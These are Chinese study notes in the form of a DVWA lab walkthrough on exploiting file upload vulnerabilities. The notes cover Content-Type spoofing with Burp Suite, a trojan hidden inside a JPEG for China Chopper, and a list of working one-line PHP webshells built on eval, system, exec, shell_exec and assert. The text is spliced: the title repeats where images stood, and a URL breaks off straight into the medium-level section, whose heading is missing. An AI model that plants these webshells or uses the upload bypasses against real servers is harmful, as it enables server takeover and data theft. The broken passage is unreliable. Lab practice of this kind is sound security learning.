《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞

文件上传漏洞黑客直接拿到服务器的webshell,一旦黑客拿到webshell,则可以获取web应用的数据,删除web文件,甚至可以通过提权,进一步拿下整个服务器,还可以进行内网渗透。

文件上传漏洞和SQL注入漏洞攻击对象的区别:

  • SQL注入漏洞攻击对象是数据库
  • 文件上传漏洞主要攻击服务器

1. OWASP的文件上传漏洞

<使用OWASP的dvwa子页面中的Upload功能实现文件上传漏洞>
《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞
《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞

DVWA Security中可以修改安全级别

1.1 安全级别:low

安全级别为low下的后端代码查看。可见并为作任何的过滤,可以随意进行攻击。
《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞
新建post.php脚本文件如下。

<?php  echo phpinfo() ?> 

将该脚本文件上传。
《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞

得到url,将其替换掉原网址的#,得到完整url链接:http://192.168.192.129/dvwa/h《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞
因此直接上传是不行的,我们需要用拦截工具拦截request请求,这里使用burpsuite拦截,拦截到的post请求中将Content-Type: application/octet-stream
修改为Content-Type: image/jpeg。其余步骤与安全级别为low一致。

1.3 安全级别:high

安全级别为high的进行了文件名后缀限制以及文件大小限制。
《学习笔记114》—— # 文件上传漏洞 # 基于OWASP的文件上传漏洞
因此适用于low和medium的方法在这里不生效。因此需要在上传的文件中附带木马。这里使用edjpgcom软件生成一句话木马,然后上传,获得url,最后使用中国菜刀软件解析url。

2. webshell

webshell介绍:

web后端的脚本语言一般情况下具备系统相关函数,用这些系统函数可以执行操作系统命令。如果攻击者将这些系统函数写入文件,并结合文件上传漏洞上传给web服务器,这个行为我们就称为网站挂马
这些包含了系统函数的文件我们就称为webshell文件,根据功能级别分为大马小马,例如一句话木马( 整个shell代码量只有一行 )就属于小马。

常见的php系统函数有evalsystemexecshell_execassert。下面就这几个函数进行示例。

2.1 eval函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行。该函数也是国产知名shell管理工具中国菜刀使用的。

注意:eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。
示例如下。

<?php eval($_POST['pass']); ?> <?php eval($_REQUEST['pass']); ?> 

2.2 system函数

system函数可以实现在php中执行shell命令。

<?php system($_POST['cmd']); ?> <?php system($_REQUEST['cmd']); ?> 

2.3 exec函数

exec函数用于执行系统命令。

<?php exec($_POST['cmd']); ?> <?php exec($_REQUEST['cmd']); ?> 

2.4 shell_exec函数

shell_exec函数用来执行系统命令。

<?php shell_exec($_POST['cmd']); ?> <?php shell_exec($_REQUEST['cmd']); ?> 

2.5 assert函数

assert函数是把字符串当作php代码来执行的。

<?php assert($_POST['cmd']); ?> <?php assert($_REQUEST['cmd']); ?> 

3. webshell管理工具

常见的webshell管理工具有:中国菜刀、C刀、寄生虫XISE、k8飞刀、weevely(Linux系统下)等。